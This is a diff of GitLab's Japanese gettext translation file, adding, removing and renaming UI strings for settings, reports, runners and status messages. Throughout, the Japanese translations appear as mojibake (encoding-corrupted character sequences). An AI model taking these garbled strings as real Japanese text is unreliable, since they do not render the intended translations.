+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr "ユーザーãŒãƒ¡ãƒ³ãƒ†ãƒŠãƒ³ã‚¹ã®é–“ã« GitLab ã§æ›¸ãè¾¼ã¿æ“作をã§ããªã„よã†ã«ã—ã¾ã™ã€‚"
@@ -20162,6 +20629,24 @@ msgstr "プロフィール"
msgid "Profile Settings"
msgstr "プロファイルã®è¨­å®š"
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr "オン"
@@ -20171,6 +20656,9 @@ msgstr "ã‚ãªãŸã¯ %{yourAccount} ã¨ã€ã‚ãªãŸã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã«ãƒªãƒ³ã‚
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr "ユーザåã‚’ %{currentUsernameBold} ã‹ã‚‰ %{newUsernameBold} ã«å¤‰æ›´ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚プロファイルã¨ãƒ—ロジェクト㯠%{newUsername} åå‰ç©ºé–“ã«ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆã•ã‚Œã¾ã™ã€‚ã—ã‹ã—〠%{currentUsername} åå‰ç©ºé–“ãŒåˆ¥ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¾ãŸã¯ã‚°ãƒ«ãƒ¼ãƒ—ã«ã‚ˆã£ã¦ç™»éŒ²ã•ã‚Œã‚‹ã¨ã€ã“ã®ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆã¯æœŸé™åˆ‡ã‚Œã«ãªã‚Šã¾ã™ã€‚ Gitリãƒã‚¸ãƒˆãƒªã®ãƒªãƒ¢ãƒ¼ãƒˆã‚’ã§ãã‚‹ã ã‘æ—©ãæ›´æ–°ã—ã¦ãã ã•ã„。"
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20201,6 +20689,9 @@ msgstr "ã‚¢ãƒã‚¿ãƒ¼ã‚’削除ã—ã¾ã™ã€‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
msgid "Profiles|Bio"
msgstr "BIO"
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr "ユーザーåã®å¤‰æ›´"
@@ -20558,9 +21049,6 @@ msgstr "プロジェクトアãƒã‚¿ãƒ¼"
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr "プロジェクトã¯ã€æ‰€å±žã™ã‚‹ã‚°ãƒ«ãƒ¼ãƒ—ã¾ãŸã¯ãã®å…ˆç¥–ã®1ã¤ã¨å…±æœ‰ã™ã‚‹ã“ã¨ã¯ã§ãã¾ã›ã‚“。"
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20813,8 +21301,11 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr "ソースブランãƒã®å‰Šé™¤ã®ã‚ªãƒ—ションをデフォルトã§æœ‰åŠ¹ã«ã™ã‚‹"
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
-msgstr "マージトレインã¨ãƒžãƒ¼ã‚¸çµæžœã®ãƒ‘イプラインを有効化"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
+msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
@@ -20855,6 +21346,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr "内部"
@@ -20915,9 +21409,6 @@ msgstr "プロジェクト文書ã®ãƒšãƒ¼ã‚¸"
msgid "ProjectSettings|Pipelines"
msgstr "パイプライン"
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "パイプラインã¯æˆåŠŸã—ãªã‘ã‚Œã°ãªã‚‰ãªã„"
@@ -20939,6 +21430,12 @@ msgstr "リãƒã‚¸ãƒˆãƒª"
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21008,6 +21505,9 @@ msgstr "ã“ã®ãƒ—ロジェクトã®ãƒ•ã‚¡ã‚¤ãƒ«ã‚’表示ãŠã‚ˆã³ç·¨é›†ã™ã‚‹"
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr "競åˆãŒç™ºç”Ÿã—ãŸã¨ãã€ãƒ¦ãƒ¼ã‚¶ãƒ¼ã«ã¯ãƒªãƒ™ãƒ¼ã‚¹ã™ã‚‹ã‚ªãƒ—ションãŒä¸Žãˆã‚‰ã‚Œã¾ã™"
@@ -21389,6 +21889,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr "課題をエピックã«æ˜‡æ ¼"
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr "グループラベルã¸æ˜‡æ ¼"
@@ -21704,6 +22207,9 @@ msgstr "プッシュイベント"
msgid "Push project from command line"
msgstr "コマンドラインã‹ã‚‰ãƒ—ロジェクトをプッシュ"
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr "プッシュã—ã¦ãƒ—ロジェクトを作æˆã™ã‚‹"
@@ -21857,6 +22363,9 @@ msgstr "リカãƒãƒªãƒ¼ã‚³ãƒ¼ãƒ‰"
msgid "Redirect to SAML provider to test configuration"
msgstr "設定ã®ãƒ†ã‚¹ãƒˆã‚’実施ã™ã‚‹SAMLプロãƒã‚¤ãƒ€ã¸ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆ"
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr "プロジェクトã®å…¬é–‹ç¯„囲を狭ã‚ã‚‹"
@@ -21939,9 +22448,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22015,6 +22521,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr "リリース"
@@ -22042,9 +22551,6 @@ msgstr "リリースã®è©³ç´°ã‚’ä¿å­˜ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr "ログイン情報を記憶ã™ã‚‹"
-
msgid "Remind later"
msgstr "後ã§é€šçŸ¥"
@@ -22249,9 +22755,6 @@ msgstr "期日を削除."
msgid "Removes time estimate."
msgstr "見ç©æ™‚間を削除."
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22267,15 +22770,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr "エピックã®å†é–‹"
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr "マイルストーンをå†é–‹"
@@ -22354,6 +22854,13 @@ msgstr "レãƒãƒ¼ãƒˆ"
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22385,6 +22892,10 @@ msgstr "クラスå"
msgid "Reports|Execution time"
msgstr "実行時間"
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Failure"
msgstr "失敗"
@@ -22436,6 +22947,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22466,12 +22980,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr "リãƒã‚¸ãƒˆãƒª"
@@ -22499,6 +23019,9 @@ msgstr "リãƒã‚¸ãƒˆãƒªã®ã‚¯ãƒªãƒ¼ãƒ³ã‚¢ãƒƒãƒ—"
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr "リãƒã‚¸ãƒˆãƒªã®ã‚¯ãƒªãƒ¼ãƒ³ã‚¢ãƒƒãƒ—ãŒé–‹å§‹ã•ã‚Œã¾ã—ãŸã€‚クリーンアップãŒå®Œäº†ã™ã‚‹ã¨ã€ãƒ¡ãƒ¼ãƒ«ãŒå±Šãã¾ã™ã€‚"
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22532,11 +23055,11 @@ msgstr "リãƒã‚¸ãƒˆãƒªé™çš„オブジェクト"
msgid "Repository storage"
msgstr "リãƒã‚¸ãƒˆãƒªã®ã‚¹ãƒˆãƒ¬ãƒ¼ã‚¸"
-msgid "Repository sync capacity"
-msgstr "リãƒã‚¸ãƒˆãƒªåŒæœŸå®¹é‡"
+msgid "Repository synchronization concurrency limit"
+msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
-msgstr "リãƒã‚¸ãƒˆãƒª: %{counter_repositories} / Wiki: %{counter_wikis}。/ ビルドアーティファクト: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / スニペット: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
msgstr "é¸æŠž"
@@ -22651,12 +23174,18 @@ msgstr "招待をå†é€ä¿¡"
msgid "Resend it"
msgstr "å†é€ã™ã‚‹"
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr "èªè¨¼ã‚­ãƒ¼ã‚’リセット"
msgid "Reset authorization key?"
msgstr "èªè¨¼ã‚­ãƒ¼ã‚’リセットã—ã¾ã™ã‹ï¼Ÿ"
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr "正常性ãƒã‚§ãƒƒã‚¯ã‚¢ã‚¯ã‚»ã‚¹ãƒˆãƒ¼ã‚¯ãƒ³ã‚’リセット"
@@ -22783,6 +23312,9 @@ msgstr "ã™ã¹ã¦ã® %{replicableType} ã‚’å†åŒæœŸ"
msgid "Retry"
msgstr "å†è©¦è¡Œ"
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr "ジョブをå†è©¦è¡Œã—ã¦ãã ã•ã„"
@@ -22820,6 +23352,9 @@ msgstr "最新ã®ã‚¢ãƒ—リを表示"
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr "ã‚ãªãŸã® ID プロãƒã‚¤ãƒ€ãƒ¼ã®ã‚µãƒ¼ãƒ“スプロãƒã‚¤ãƒ€ãƒ¼ã‚’構æˆã™ã‚‹ãŸã‚ã®ãƒ—ロセスを確èªã—ã¾ã™ã€‚ ã“ã®ä¾‹ã§ã¯ã€GitLab ã¯ã€Œã‚µãƒ¼ãƒ“スプロãƒã‚¤ãƒ€ãƒ¼ã€ã¾ãŸã¯ã€Œè¨¼æ˜Žæ›¸åˆ©ç”¨è€…ã€ã€‚"
@@ -22839,6 +23374,9 @@ msgstr[0] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr "レビュー中"
@@ -22908,6 +23446,9 @@ msgstr "ã‚¿ã‚°ã®ãªã„ジョブã®å®Ÿè¡Œ"
msgid "Runner cannot be assigned to other projects"
msgstr "Runnerã‚’ä»–ã®ãƒ—ロジェクトã«å‰²ã‚Šå½“ã¦ã‚‰ã‚Œã¾ã›ã‚“"
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr "Runnerã¯æœªå‰²ã‚Šå½“ã¦ã®ã™ã¹ã¦ã®ãƒ—ロジェクトã‹ã‚‰ã‚¸ãƒ§ãƒ–を実行ã—ã¾ã™"
@@ -22971,12 +23512,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23004,9 +23539,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23109,12 +23641,6 @@ msgstr "変更をä¿å­˜"
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr "強制ä¿å­˜"
-
msgid "Save application"
msgstr "アプリケーションã®ä¿å­˜"
@@ -23133,7 +23659,7 @@ msgstr "パスワードをä¿å­˜"
msgid "Save pipeline schedule"
msgstr "パイプラインスケジュールをä¿å­˜"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23190,15 +23716,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr "下ã¸ã‚¹ã‚¯ãƒ­ãƒ¼ãƒ«"
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr "å·¦ã¸ã‚¹ã‚¯ãƒ­ãƒ¼ãƒ«"
@@ -23301,6 +23821,9 @@ msgstr "プロジェクトを検索"
msgid "Search projects..."
msgstr "プロジェクトを検索..."
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23340,9 +23863,6 @@ msgstr "グループ %{groupName}"
msgid "SearchAutocomplete|in project %{projectName}"
msgstr "プロジェクト %{projectName}"
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23411,6 +23931,9 @@ msgstr "シートリンク"
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23597,6 +24120,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23760,6 +24286,12 @@ msgstr "メトリクスをå‚ç…§"
msgid "See the affected projects in the GitLab admin panel"
msgstr "GitLab管ç†ç”»é¢ã§å½±éŸ¿ã‚’å—ã‘るプロジェクトをå‚ç…§"
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr "GitLab ã®æœ€æ–°æƒ…報を見る"
@@ -23877,9 +24409,6 @@ msgstr "プロジェクトをé¸æŠžã—ã¦ã‚¾ãƒ¼ãƒ³ã‚’é¸æŠž"
msgid "Select projects"
msgstr "プロジェクトã®é¸æŠž"
-msgid "Select projects you want to import."
-msgstr "インãƒãƒ¼ãƒˆå¯¾è±¡ã®ãƒ—ロジェクトをé¸æŠžã—ã¾ã™ã€‚"
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24222,12 +24751,6 @@ msgstr "グループãŒ1ヶ月間ã«å…±æœ‰ãƒ©ãƒ³ãƒŠãƒ¼ã§ä½¿ç”¨ã§ãã‚‹ã®ãƒ‘ã‚
msgid "Set the milestone to %{milestone_reference}."
msgstr "マイルストーンを %{milestone_reference} ã«è¨­å®šã€‚"
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24270,21 +24793,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr "プロジェクトを設定ã—ã¦ã€åˆ¥ã®ãƒªãƒã‚¸ãƒˆãƒªã¨ã®é–“ã§å¤‰æ›´ã‚’自動的ã«ãƒ—ッシュ/プルã™ã‚‹ã€‚ブランãƒã€ã‚¿ã‚°ã€ãŠã‚ˆã³ã‚³ãƒŸãƒƒãƒˆã¯è‡ªå‹•çš„ã«åŒæœŸã—ã¾ã™ã€‚"
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr "ウェイトを設定"
msgid "Set weight to %{weight}."
msgstr "ウェイトを %{weight} ã«è¨­å®š"
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "パスワードを設定"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr "ステータス絵文字ã®è¿½åŠ "
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr "ステータスをåˆæœŸåŒ–"
@@ -24303,6 +24835,9 @@ msgstr "ステータスを設定"
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr "ã‚ãªãŸã®ã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹ã‚’設定ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚後ã§ã‚‚ã†ä¸€åº¦ãŠè©¦ã—ãã ã•ã„。"
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr "ã‚ãªãŸã®ã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹ã¯ï¼Ÿ"
@@ -24399,9 +24934,6 @@ msgstr "シャーロックトランザクション"
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr "ã‚ãªãŸã®æºå¸¯é›»è©±ã‚’紛失ã—ãŸã‚Šãƒ¯ãƒ³ã‚¿ã‚¤ãƒ ãƒ‘スワードを紛失ã—ãŸå ´åˆã€ã“れらã®ãƒªã‚«ãƒãƒªãƒ¼ã‚³ãƒ¼ãƒ‰ã‚’ãã‚Œãžã‚Œï¼‘回ãšã¤ä½¿ç”¨ã—ã¦ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã®ã‚¢ã‚¯ã‚»ã‚¹ã‚’回復ã§ãã¾ã™ã€‚安全ãªå ´æ‰€ã«ä¿å­˜ã—ã¦ãã ã•ã„。ãã†ã—ãªã„ã¨ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã¸ã®ã‚¢ã‚¯ã‚»ã‚¹æ¨©ã‚’%{b_start} 失ã„ã¾ã™ã€‚%{b_end}"
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr "ã™ã¹ã¦ã®ã‚¢ã‚¯ãƒ†ã‚£ãƒ“ティを表示"
@@ -24456,13 +24988,16 @@ msgstr "最新ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’表示"
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24490,6 +25025,9 @@ msgid "Showing %d event"
msgid_plural "Showing %d events"
msgstr[0] "%d ã®ã‚¤ãƒ™ãƒ³ãƒˆã‚’表示中"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24584,11 +25122,14 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "サインアップã®åˆ¶é™"
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
-msgstr "åãŒé•·ã™ãŽã¾ã™ï¼ˆæœ€å¤§ %{max_length} 文字)。"
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
-msgstr "姓ãŒé•·ã™ãŽã¾ã™ï¼ˆæœ€å¤§ %{max_length} 文字)。"
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
+msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
msgstr "ユーザーåãŒé•·ã™ãŽã¾ã™(最大 %{max_length} 文字)"
@@ -24638,6 +25179,9 @@ msgstr ""
msgid "Skipped"
msgstr "スキップã—ã¾ã—ãŸ"
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr "Slack アプリケーション"
@@ -24749,9 +25293,6 @@ msgstr "一部ã®ãƒ¡ãƒ¼ãƒ«ã‚µãƒ¼ãƒãƒ¼ã¯ã€ãƒ¡ãƒ¼ãƒ«é€ä¿¡è€…åã®ä¸Šæ›¸ãã‚’
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr "エピックã®ä¸€éƒ¨ãŒè¡¨ç¤ºã•ã‚Œãªã„ã“ã¨ãŒã‚ã‚Šã¾ã™ã€‚ロードマップã¯ã€ã‚ãªãŸãŒé¸æŠžã—ãŸã‚½ãƒ¼ãƒˆé †ã§æœ€åˆã®1,000エピックã ã‘ã«é™å®šã•ã‚Œã¾ã™ã€‚"
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr "誰ã‹ãŒåŒæ™‚ã«èª²é¡Œã‚’編集ã—ã¾ã—ãŸã€‚%{linkStart} 課題 %{linkEnd} を確èªã—ã¦ã€å¤‰æ›´ç‚¹ãŒæ„図ã›ãšå‰Šé™¤ã•ã‚Œãªã„よã†ã«æ°—ã‚’ã¤ã‘ã¦ãã ã•ã„。"
@@ -24797,8 +25338,8 @@ msgstr "æ案ã—ã¦ã„ã‚‹é–“ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Š
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
-msgstr "%{issuable} を解決中ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚ã¨ã§ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
+msgid "Something went wrong while closing the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while creating a requirement."
msgstr ""
@@ -24878,11 +25419,14 @@ msgstr "Let's Encrypt ã®è¨¼æ˜Žæ›¸ã‚’å–å¾—ã™ã‚‹éš›ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ã
msgid "Something went wrong while performing the action."
msgstr "アクションã«å®Ÿæ–½ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
-msgstr "%{issuable} ã®å†é–‹å‡¦ç†ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚ã¨ã§ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
+msgid "Something went wrong while reopening the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
msgstr "ã“ã®æ¤œè¨Žã‚’解決ã—ã¦ã„ã‚‹ã¨ãã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
@@ -25163,11 +25707,11 @@ msgstr "ã“ã®æ©Ÿèƒ½ã¯å®Ÿé¨“çš„ã§ã‚ã‚Šã€å…¬é–‹ãƒ—ロジェクトã®ã¿ã«é™
msgid "SourcegraphPreferences|This feature is experimental."
msgstr "ã“ã®æ©Ÿèƒ½ã¯å®Ÿé¨“çš„ã§ã™ã€‚"
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
-msgstr "%{link_start}Sourcegraph.com%{link_end}を使用ã—ã¾ã™ã€‚"
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
+msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
-msgstr "カスタム %{link_start}Sourcegraph インスタンス%{link_end} を使用ã—ã¾ã™ã€‚"
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
+msgstr ""
msgid "Spam Logs"
msgstr "スパム ログ"
@@ -25190,6 +25734,9 @@ msgstr "メールアドレスã®æ­£è¦è¡¨ç¾ãƒ‘ターンを指定ã—ã¦ã€ãƒ‡ãƒ•
msgid "Specify the following URL during the Runner setup:"
msgstr "Runner セットアップã®éš›ã«æ¬¡ã® URL を指定ã—ã¦ãã ã•ã„:"
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr "コミットメッセージをスカッシュ"
@@ -25307,9 +25854,6 @@ msgstr "スレッドã®é–‹å§‹ã¨ã‚¯ãƒ­ãƒ¼ã‚º %{noteable_name}"
msgid "Start thread & reopen %{noteable_name}"
msgstr "スレッドã®é–‹å§‹ã¨ %{noteable_name} ã®å†é–‹"
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr "有å‘éžå·¡å›žã‚°ãƒ©ãƒ•ï¼ˆDAG)ã®ä½¿ç”¨ã‚’開始ã™ã‚‹"
-
msgid "Start your Free Gold Trial"
msgstr "ç„¡æ–™ã®ã‚´ãƒ¼ãƒ«ãƒ‰è©¦ç”¨ç‰ˆã‚’開始ã™ã‚‹"
@@ -25469,6 +26013,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr "Prometheus を設定ã™ã‚‹äº‹ã§ã‚ãªãŸã®ç’°å¢ƒã®ãƒ‘フォーマンスã¨å¥å…¨æ€§ã®æœ€æ–°çŠ¶æ…‹ã‚’å–å¾—ã§ãã¾ã™ã€‚"
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
